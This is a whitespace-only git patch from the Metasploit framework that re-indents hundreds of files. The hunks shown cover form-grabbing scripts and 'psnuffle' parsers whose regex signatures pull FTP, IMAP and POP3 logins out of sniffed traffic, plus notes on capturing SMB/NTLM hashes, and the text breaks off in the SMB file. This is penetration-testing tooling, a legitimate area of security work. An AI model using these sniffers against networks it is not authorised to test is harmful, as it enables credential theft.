From 2e8d19edcf1dfd3ec71e69a63e1107e4e2b7d883 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Mon, 30 Sep 2013 13:47:53 -0500 Subject: [PATCH] Retab all the things (except external/) --- .../capture/http/forms/extractforms.rb | 46 +- data/exploits/capture/http/forms/grabforms.rb | 106 +- data/exploits/psnuffle/ftp.rb | 110 +- data/exploits/psnuffle/imap.rb | 134 +- data/exploits/psnuffle/pop3.rb | 136 +- data/exploits/psnuffle/smb.rb | 396 +- data/exploits/psnuffle/url.rb | 66 +- data/john/run.linux.x64.mmx/genincstats.rb | 96 +- data/john/run.linux.x86.any/genincstats.rb | 96 +- data/john/run.linux.x86.mmx/genincstats.rb | 96 +- data/john/run.linux.x86.sse2/genincstats.rb | 96 +- data/john/run.win32.any/genincstats.rb | 96 +- data/john/run.win32.mmx/genincstats.rb | 96 +- data/john/run.win32.sse2/genincstats.rb | 96 +- data/msfcrawler/basic.rb | 36 +- data/msfcrawler/forms.rb | 76 +- data/msfcrawler/frames.rb | 34 +- data/msfcrawler/image.rb | 36 +- data/msfcrawler/link.rb | 36 +- data/msfcrawler/objects.rb | 36 +- data/msfcrawler/scripts.rb | 36 +- data/sounds/aiff2wav.rb | 4 +- data/sounds/gensounds_mac.rb | 46 +- .../samples/framework/dump_module_info.rb | 22 +- .../samples/framework/encode_file.rb | 14 +- .../samples/framework/enumerate_modules.rb | 2 +- .../framework/run_exploit_using_base.rb | 40 +- .../framework/run_exploit_using_core.rb | 60 +- .../samples/modules/auxiliary/sample.rb | 52 +- .../samples/modules/encoders/sample.rb | 34 +- .../samples/modules/exploits/ie_browser.rb | 258 +- .../samples/modules/exploits/sample.rb | 116 +- documentation/samples/modules/nops/sample.rb | 28 +- .../modules/payloads/singles/sample.rb | 30 +- documentation/samples/modules/post/sample.rb | 38 +- .../samples/pro/msfrpc_pro_discover.rb | 150 +- .../samples/pro/msfrpc_pro_exploit.rb | 152 +- .../samples/pro/msfrpc_pro_import.rb | 80 +- .../samples/pro/msfrpc_pro_nexpose.rb | 110 +- .../samples/pro/msfrpc_pro_report.rb | 140 +- .../scripts/meterpreter_script_template.rb | 28 +- .../samples/scripts/resource_script.rb | 138 +- .../unix/webapp/arkeia_upload_exec.rb | 2 +- msfbinscan | 388 +- msfcli | 1072 ++-- msfconsole | 230 +- msfd | 90 +- msfelfscan | 110 +- msfencode | 410 +- msfmachscan | 90 +- msfpayload | 306 +- msfpescan | 162 +- msfrop | 176 +- msfrpc | 70 +- msfrpcd | 94 +- msfupdate | 328 +- msfvenom | 2 +- plugins/alias.rb | 666 +-- plugins/auto_add_route.rb | 54 +- plugins/db_credcollect.rb | 206 +- plugins/db_tracker.rb | 112 +- plugins/editor.rb | 136 +- plugins/event_tester.rb | 52 +- plugins/ffautoregen.rb | 176 +- plugins/ips_filter.rb | 178 +- plugins/lab.rb | 1124 ++-- plugins/msfd.rb | 270 +- plugins/msgrpc.rb | 194 +- plugins/nessus.rb | 3350 ++++++------ plugins/nexpose.rb | 1308 ++--- plugins/openvas.rb | 1090 ++-- plugins/pcap_log.rb | 364 +- plugins/sample.rb | 132 +- plugins/session_tagger.rb | 56 +- plugins/socket_logger.rb | 168 +- plugins/sounds.rb | 164 +- plugins/thread.rb | 230 +- plugins/token_adduser.rb | 196 +- plugins/token_hunter.rb | 282 +- plugins/wmap.rb | 4542 ++++++++--------- scripts/meterpreter/arp_scanner.rb | 168 +- scripts/meterpreter/autoroute.rb | 266 +- scripts/meterpreter/checkvm.rb | 628 +-- scripts/meterpreter/credcollect.rb | 112 +- scripts/meterpreter/domain_list_gen.rb | 70 +- scripts/meterpreter/dumplinks.rb | 588 +-- scripts/meterpreter/duplicate.rb | 184 +- scripts/meterpreter/enum_chrome.rb | 330 +- scripts/meterpreter/enum_firefox.rb | 454 +- scripts/meterpreter/enum_logged_on_users.rb | 148 +- scripts/meterpreter/enum_powershell_env.rb | 196 +- scripts/meterpreter/enum_putty.rb | 142 +- scripts/meterpreter/enum_shares.rb | 180 +- scripts/meterpreter/enum_vmware.rb | 546 +- scripts/meterpreter/event_manager.rb | 300 +- scripts/meterpreter/file_collector.rb | 122 +- scripts/meterpreter/get_application_list.rb | 90 +- scripts/meterpreter/get_env.rb | 46 +- scripts/meterpreter/get_filezilla_creds.rb | 230 +- scripts/meterpreter/get_local_subnets.rb | 28 +- scripts/meterpreter/get_pidgin_creds.rb | 278 +- scripts/meterpreter/get_valid_community.rb | 76 +- scripts/meterpreter/getcountermeasure.rb | 664 +-- scripts/meterpreter/getgui.rb | 250 +- scripts/meterpreter/gettelnet.rb | 216 +- scripts/meterpreter/getvncpw.rb | 110 +- scripts/meterpreter/hashdump.rb | 458 +- scripts/meterpreter/hostsedit.rb | 126 +- scripts/meterpreter/keylogrecorder.rb | 288 +- scripts/meterpreter/killav.rb | 1182 ++--- scripts/meterpreter/metsvc.rb | 180 +- scripts/meterpreter/migrate.rb | 122 +- scripts/meterpreter/multi_console_command.rb | 74 +- scripts/meterpreter/multi_meter_inject.rb | 160 +- scripts/meterpreter/multicommand.rb | 132 +- scripts/meterpreter/multiscript.rb | 76 +- scripts/meterpreter/netenum.rb | 546 +- scripts/meterpreter/packetrecorder.rb | 290 +- scripts/meterpreter/panda_2007_pavsrv51.rb | 128 +- scripts/meterpreter/persistence.rb | 244 +- scripts/meterpreter/pml_driver_config.rb | 108 +- scripts/meterpreter/powerdump.rb | 66 +- scripts/meterpreter/prefetchtool.rb | 266 +- scripts/meterpreter/process_memdump.rb | 288 +- scripts/meterpreter/remotewinenum.rb | 286 +- scripts/meterpreter/scheduleme.rb | 422 +- scripts/meterpreter/schelevator.rb | 414 +- scripts/meterpreter/schtasksabuse.rb | 228 +- scripts/meterpreter/scraper.rb | 192 +- scripts/meterpreter/screen_unlock.rb | 94 +- scripts/meterpreter/screenspy.rb | 156 +- scripts/meterpreter/search_dwld.rb | 106 +- scripts/meterpreter/service_manager.rb | 302 +- .../service_permissions_escalate.rb | 234 +- scripts/meterpreter/sound_recorder.rb | 108 +- scripts/meterpreter/srt_webdrive_priv.rb | 156 +- scripts/meterpreter/uploadexec.rb | 166 +- .../meterpreter/virtualbox_sysenter_dos.rb | 20 +- scripts/meterpreter/virusscan_bypass.rb | 268 +- scripts/meterpreter/vnc.rb | 212 +- scripts/meterpreter/webcam.rb | 194 +- scripts/meterpreter/win32-sshclient.rb | 526 +- scripts/meterpreter/win32-sshserver.rb | 416 +- scripts/meterpreter/winbf.rb | 264 +- scripts/meterpreter/winenum.rb | 970 ++-- scripts/meterpreter/wmic.rb | 168 +- scripts/shell/spawn_meterpreter.rb | 192 +- spec/factories/mdm/module_details.rb | 10 +- .../abstract_adapter/connection_pool_spec.rb | 396 +- spec/lib/fastlib_spec.rb | 416 +- spec/lib/msf/base/simple/framework_spec.rb | 10 +- spec/lib/msf/core/data_store_spec.rb | 120 +- spec/lib/msf/core/exploit/capture_spec.rb | 60 +- spec/lib/msf/core/exploit/http/client_spec.rb | 386 +- spec/lib/msf/core/exploit/http/server_spec.rb | 114 +- spec/lib/msf/core/module_manager_spec.rb | 2 +- spec/lib/msf/core/modules/error_spec.rb | 188 +- .../msf/core/modules/loader/archive_spec.rb | 504 +- spec/lib/msf/core/modules/loader/base_spec.rb | 2536 ++++----- .../msf/core/modules/loader/directory_spec.rb | 310 +- ...tasploit_class_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 506 +- .../version_compatibility_error_spec.rb | 116 +- .../core/options/opt_address_range_spec.rb | 54 +- spec/lib/msf/core/options/opt_address_spec.rb | 22 +- spec/lib/msf/db_manager/export_spec.rb | 204 +- spec/lib/msf/db_manager_spec.rb | 3548 ++++++------- .../ui/command_dispatcher/auxiliary_spec.rb | 26 +- .../msf/ui/command_dispatcher/core_spec.rb | 134 +- spec/lib/msf/ui/command_dispatcher/db_spec.rb | 486 +- .../msf/ui/command_dispatcher/exploit_spec.rb | 34 +- spec/lib/rex/encoding/xor/byte_spec.rb | 2 +- spec/lib/rex/encoding/xor/dword_spec.rb | 2 +- spec/lib/rex/encoding/xor/qword_spec.rb | 2 +- spec/lib/rex/encoding/xor/word_spec.rb | 2 +- spec/lib/rex/file_utils_spec.rb | 110 +- spec/lib/rex/parser/nmap_xml_spec.rb | 48 +- spec/lib/rex/proto/http/client_spec.rb | 440 +- .../rex/random_identifier_generator_spec.rb | 270 +- spec/lib/rex/sslscan/result_spec.rb | 1006 ++-- spec/lib/rex/sslscan/scanner_spec.rb | 194 +- spec/lib/rex/text_spec.rb | 120 +- spec/msfcli_spec.rb | 748 +-- spec/msfvenom_spec.rb | 496 +- spec/spec_helper.rb | 24 +- spec/support/matchers/query_the_database.rb | 212 +- .../shared/contexts/database_cleaner.rb | 58 +- .../support/shared/contexts/msf/db_manager.rb | 32 +- .../contexts/msf/modules/error_attributes.rb | 18 +- .../contexts/msf/modules/loader_base.rb | 18 +- .../shared/contexts/msf/simple/framework.rb | 68 +- spec/support/shared/contexts/msf/ui_driver.rb | 32 +- ..._module_detail_info_module_detail_child.rb | 34 +- .../examples/msf/db_manager/import_msf_xml.rb | 2338 ++++----- .../check_msf_xml_version_with_root_tag.rb | 36 +- .../import_msf_web_element_specialization.rb | 64 +- .../examples/msf/db_manager/migration.rb | 210 +- ..._name_or_mdm_module_target_name_keyword.rb | 92 +- .../mdm_module_ref_name_keyword.rb | 84 +- .../update_all_module_details_refresh.rb | 114 +- .../update_module_details_with_module_type.rb | 38 +- .../examples/msf/module_manager/cache.rb | 920 ++-- .../examples/msf/module_manager/loading.rb | 320 +- .../msf/module_manager/module_paths.rb | 122 +- .../msf/modules/error_subclass_initialize.rb | 40 +- .../loader_archive_read_module_content.rb | 18 +- .../modules/version_compatibility_error.rb | 48 +- .../msf/simple/framework/module_paths.rb | 194 +- spec/support/shared/examples/options.rb | 34 +- spec/support/shared/examples/typed_path.rb | 42 +- spec/support/shared/examples/xor_encoder.rb | 54 +- test/features/steps/common_steps.rb | 40 +- test/features/steps/handler_steps.rb | 14 +- test/features/support/env.rb | 14 +- test/features/support/test_config.rb | 16 +- test/functional/framework/msfconsole_spec.rb | 362 +- .../meterpreter/java_meterpreter_specs.rb | 20 +- .../meterpreter/meterpreter_java_spec.rb | 154 +- .../meterpreter/meterpreter_php_spec.rb | 136 +- .../meterpreter/meterpreter_spec_helper.rb | 96 +- .../meterpreter/meterpreter_specs.rb | 196 +- .../meterpreter/meterpreter_win32_spec.rb | 170 +- .../meterpreter/windows_meterpreter_specs.rb | 80 +- test/hooks/array_to_s.rb | 16 +- test/hooks/string_idx.rb | 18 +- test/lib/module_test.rb | 98 +- test/lib/msf_matchers.rb | 170 +- test/lib/regexr.rb | 194 +- test/modules/auxiliary/test/capture.rb | 86 +- test/modules/auxiliary/test/check.rb | 68 +- test/modules/auxiliary/test/eth_spoof.rb | 76 +- test/modules/auxiliary/test/ftp_data.rb | 154 +- test/modules/auxiliary/test/ip_spoof.rb | 88 +- test/modules/auxiliary/test/recon_passive.rb | 110 +- test/modules/auxiliary/test/scanner_batch.rb | 50 +- test/modules/auxiliary/test/scanner_host.rb | 42 +- test/modules/auxiliary/test/scanner_range.rb | 46 +- test/modules/auxiliary/test/space-check.rb | 12 +- test/modules/exploits/test/aggressive.rb | 202 +- test/modules/exploits/test/check.rb | 58 +- test/modules/exploits/test/cmdweb.rb | 118 +- test/modules/exploits/test/dialup.rb | 82 +- test/modules/exploits/test/egghunter.rb | 164 +- test/modules/exploits/test/exploitme.rb | 236 +- test/modules/exploits/test/java_tester.rb | 80 +- test/modules/exploits/test/kernel.rb | 118 +- test/modules/exploits/test/shell.rb | 88 +- test/modules/post/test/file.rb | 310 +- test/modules/post/test/meterpreter.rb | 642 +-- .../post/test/railgun_reverse_lookups.rb | 154 +- test/modules/post/test/registry.rb | 270 +- test/modules/post/test/services.rb | 334 +- test/modules/post/test/unix.rb | 72 +- test/tests/00_create_all_modules_test.rb | 14 +- .../01_all_exploits_have_payloads_test.rb | 20 +- test/tests/test_encoders.rb | 134 +- tools/committer_count.rb | 46 +- tools/convert_31.rb | 54 +- tools/dev/set_binary_encoding.rb | 18 +- tools/exe2vba.rb | 10 +- tools/exe2vbs.rb | 10 +- tools/find_badchars.rb | 154 +- tools/halflm_second.rb | 106 +- tools/hmac_sha1_crack.rb | 68 +- tools/import_webscarab.rb | 262 +- tools/list_interfaces.rb | 90 +- tools/lm2ntcrack.rb | 1614 +++--- tools/metasm_shell.rb | 142 +- tools/module_author.rb | 100 +- tools/module_changelog.rb | 46 +- tools/module_commits.rb | 2 +- tools/module_count.rb | 2 +- tools/module_disclodate.rb | 148 +- tools/module_license.rb | 118 +- tools/module_mixins.rb | 64 +- tools/module_payloads.rb | 10 +- tools/module_ports.rb | 40 +- tools/module_rank.rb | 114 +- tools/module_reference.rb | 110 +- tools/module_targets.rb | 68 +- tools/msf_irb_shell.rb | 2 +- tools/msftidy.rb | 860 ++-- tools/nasm_shell.rb | 26 +- tools/pattern_create.rb | 6 +- tools/pattern_offset.rb | 96 +- tools/payload_lengths.rb | 76 +- tools/pdf2xdp.rb | 16 +- tools/psexec.rb | 228 +- tools/reg.rb | 678 +-- tools/verify_datastore.rb | 70 +- tools/vxdigger.rb | 40 +- tools/vxencrypt.rb | 30 +- tools/vxmaster.rb | 240 +- 293 files changed, 34801 insertions(+), 34801 deletions(-) diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 5602413b13f5..68d64581cc53 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -15,8 +15,8 @@ require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end input = ARGV.shift() || usage() @@ -25,32 +25,32 @@ def usage doc = Hpricot(File.open(input)) doc.search("//form").each do |form| - # Extract the form - res = " " + # Extract the form + res = " " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "" + res << inp.to_html + end + res << "" end $stdout.puts res diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 48438163d70d..98a6e3400adf 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -15,72 +15,72 @@ require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end sitelist = ARGV.shift() || usage() output = ARGV.shift() || usage() File.readlines(sitelist).each do |site| - site.strip! - next if site.length == 0 - next if site =~ /^#/ - - out = File.join(output, site + ".txt") - File.unlink(out) if File.exists?(out) - - fd = File.open(out, "a") - + site.strip! + next if site.length == 0 + next if site =~ /^#/ + + out = File.join(output, site + ".txt") + File.unlink(out) if File.exists?(out) + + fd = File.open(out, "a") + - ["", "www."].each do |prefix| - begin - Timeout.timeout(10) do - doc = Hpricot(open("http://#{prefix}#{site}/")) - doc.search("//form").each do |form| + ["", "www."].each do |prefix| + begin + Timeout.timeout(10) do + doc = Hpricot(open("http://#{prefix}#{site}/")) + doc.search("//form").each do |form| - # Extract the form - res = " " + # Extract the form + res = " " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "" + res << inp.to_html + end + res << "" - fd.write(res) - end - end - break - rescue ::Timeout::Error - $stderr.puts "#{prefix}#{site} timed out" - rescue ::Interrupt - raise $! - rescue ::Exception => e - $stderr.puts "#{prefix}#{site} #{e.class} #{e}" - end - end - - fd.close - - File.unlink(out) if (File.size(out) == 0) + fd.write(res) + end + end + break + rescue ::Timeout::Error + $stderr.puts "#{prefix}#{site} timed out" + rescue ::Interrupt + raise $! + rescue ::Exception => e + $stderr.puts "#{prefix}#{site} #{e.class} #{e}" + end + end + + fd.close + + File.unlink(out) if (File.size(out) == 0) end diff --git a/data/exploits/psnuffle/ftp.rb b/data/exploits/psnuffle/ftp.rb index 5016f14811a8..d875d316b3c5 100755 --- a/data/exploits/psnuffle/ftp.rb +++ b/data/exploits/psnuffle/ftp.rb @@ -8,71 +8,71 @@ class SnifferFTP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(220\s*[^\r\n]+)/i, - :user => /^USER\s+([^\s]+)/i, - :pass => /^PASS\s+([^\s]+)/i, - :login_pass => /^(230\s*[^\n]+)/i, - :login_fail => /^(5\d\d\s*[^\n]+)/i, - :bye => /^221/ - } - end + def register_sigs + self.sigs = { + :banner => /^(220\s*[^\r\n]+)/i, + :user => /^USER\s+([^\s]+)/i, + :pass => /^PASS\s+([^\s]+)/i, + :login_pass => /^(230\s*[^\n]+)/i, + :login_fail => /^(5\d\d\s*[^\n]+)/i, + :bye => /^221/ + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) - s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "ftp" + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) + s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "ftp" - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched + case matched - when :login_fail - if(s[:user] and s[:pass]) - report_auth_info(s.merge({:active => false})) - print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + when :login_fail + if(s[:user] and s[:pass]) + report_auth_info(s.merge({:active => false})) + print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - s[:pass] = "" - return - end + s[:pass] = "" + return + end - when :login_pass - if(s[:user] and s[:pass]) - report_auth_info(s) - print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - # Remove it form the session objects so freeup memory - sessions.delete(s[:session]) - return - end + when :login_pass + if(s[:user] and s[:pass]) + report_auth_info(s) + print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + # Remove it form the session objects so freeup memory + sessions.delete(s[:session]) + return + end - when :banner - # Because some ftp server send multiple banner we take only the first one and ignore the rest - if not (s[:info]) - s[:info] = matches - report_service(s) - end + when :banner + # Because some ftp server send multiple banner we take only the first one and ignore the rest + if not (s[:info]) + s[:info] = matches + report_service(s) + end - when :bye - sessions.delete(s[:session]) + when :bye + sessions.delete(s[:session]) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched - end # end of each_key - end # end of parse + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/imap.rb b/data/exploits/psnuffle/imap.rb index 6888fb42460e..4023be12b07c 100755 --- a/data/exploits/psnuffle/imap.rb +++ b/data/exploits/psnuffle/imap.rb @@ -9,72 +9,72 @@ class SnifferIMAP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(\*\s+OK[^\n\r]*)/i, - :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, - :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, - :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, - :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i - } - end - - def parse(pkt) - - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) - s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "imap4" - - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil - - if (pkt.payload =~ self.sigs[k]) - matched = k - matches = [$1,$2] - end - - case matched - when :banner - s[:info] = matches - report_service(s) - - when :login_pass - - report_auth_info(s) - print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - - # Remove it form the session objects so freeup - sessions.delete(s[:session]) - - when :login_fail - - report_auth_info(s.merge({:active => false})) - print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - - # Remove it form the session objects so freeup - sessions.delete(s[:session]) - - when :login_bad - report_auth_info(s.merge({:active => false})) - print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - - # Remove it form the session objects so freeup - sessions.delete(s[:session]) - - when :login - s[:user]=$1 - s[:pass]=$2 - - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + def register_sigs + self.sigs = { + :banner => /^(\*\s+OK[^\n\r]*)/i, + :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, + :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, + :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, + :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i + } + end + + def parse(pkt) + + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) + s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "imap4" + + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil + + if (pkt.payload =~ self.sigs[k]) + matched = k + matches = [$1,$2] + end + + case matched + when :banner + s[:info] = matches + report_service(s) + + when :login_pass + + report_auth_info(s) + print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + + # Remove it form the session objects so freeup + sessions.delete(s[:session]) + + when :login_fail + + report_auth_info(s.merge({:active => false})) + print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + + # Remove it form the session objects so freeup + sessions.delete(s[:session]) + + when :login_bad + report_auth_info(s.merge({:active => false})) + print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + + # Remove it form the session objects so freeup + sessions.delete(s[:session]) + + when :login + s[:user]=$1 + s[:pass]=$2 + + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/pop3.rb b/data/exploits/psnuffle/pop3.rb index 117b8c03cb71..10d851b3fced 100755 --- a/data/exploits/psnuffle/pop3.rb +++ b/data/exploits/psnuffle/pop3.rb @@ -6,83 +6,83 @@ # as unsuccessful logins... (Typos are common :-) ) # class SnifferPOP3 < BaseProtocolParser - def register_sigs - self.sigs = { - :ok => /^(\+OK[^\n]*)\n/i, - :err => /^(\-ERR[^\n]*)\n/i, - :user => /^USER\s+([^\n]+)\n/i, - :pass => /^PASS\s+([^\n]+)\n/i, - :quit => /^(QUIT\s*[^\n]*)\n/i - } - end + def register_sigs + self.sigs = { + :ok => /^(\+OK[^\n]*)\n/i, + :err => /^(\-ERR[^\n]*)\n/i, + :user => /^USER\s+([^\n]+)\n/i, + :pass => /^PASS\s+([^\n]+)\n/i, + :quit => /^(QUIT\s*[^\n]*)\n/i + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) - s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) + s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched - when :ok - # Last command was successful, in addition most servers transmit a banner with the first +OK - case s[:last] - when nil - # Its the first +OK must include the banner, worst case its just +OK - s[:info] = matches - s[:proto] = "tcp" - s[:name] = "pop3" - report_service(s) + case matched + when :ok + # Last command was successful, in addition most servers transmit a banner with the first +OK + case s[:last] + when nil + # Its the first +OK must include the banner, worst case its just +OK + s[:info] = matches + s[:proto] = "tcp" + s[:name] = "pop3" + report_service(s) - when :user - # When the last command was a username login - # We might keep track on this one in future - when :pass - # Perfect we get an +OK after a PASS command this means right password given :-) + when :user + # When the last command was a username login + # We might keep track on this one in future + when :pass + # Perfect we get an +OK after a PASS command this means right password given :-) - s[:proto] = "tcp" - s[:name] = "pop3" - s[:extra] = "Successful Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:proto] = "tcp" + s[:name] = "pop3" + s[:extra] = "Successful Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :quit - # The session is terminated by the user just delete is as well - sessions.delete(s[:session]) - end - s[:last]=:ok + when :quit + # The session is terminated by the user just delete is as well + sessions.delete(s[:session]) + end + s[:last]=:ok - when :err - case s[:last] - when :pass - # Oops got a -ERR after a pass so its crap ignore the pass - # But report it, might be helpfull for guessing :-) + when :err + case s[:last] + when :pass + # Oops got a -ERR after a pass so its crap ignore the pass + # But report it, might be helpfull for guessing :-) - s[:proto]="pop3" - s[:extra]="Failed Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - s[:pass]="" - end - when nil - # No matches, no saved state - else - s[:last]=matched - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + s[:proto]="pop3" + s[:extra]="Failed Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:pass]="" + end + when nil + # No matches, no saved state + else + s[:last]=matched + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb index 3bcd2e083feb..c1702d51fd1b 100755 --- a/data/exploits/psnuffle/smb.rb +++ b/data/exploits/psnuffle/smb.rb @@ -6,206 +6,206 @@ #Memo : #FOR SMBV1 - # Authentification without extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 - #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) - #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok - - # Authentification with extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message - #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge - #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes - #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok + # Authentification without extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 + #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) + #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok + + # Authentification with extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message + #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge + #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes + #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok #FOR SMBV2 - 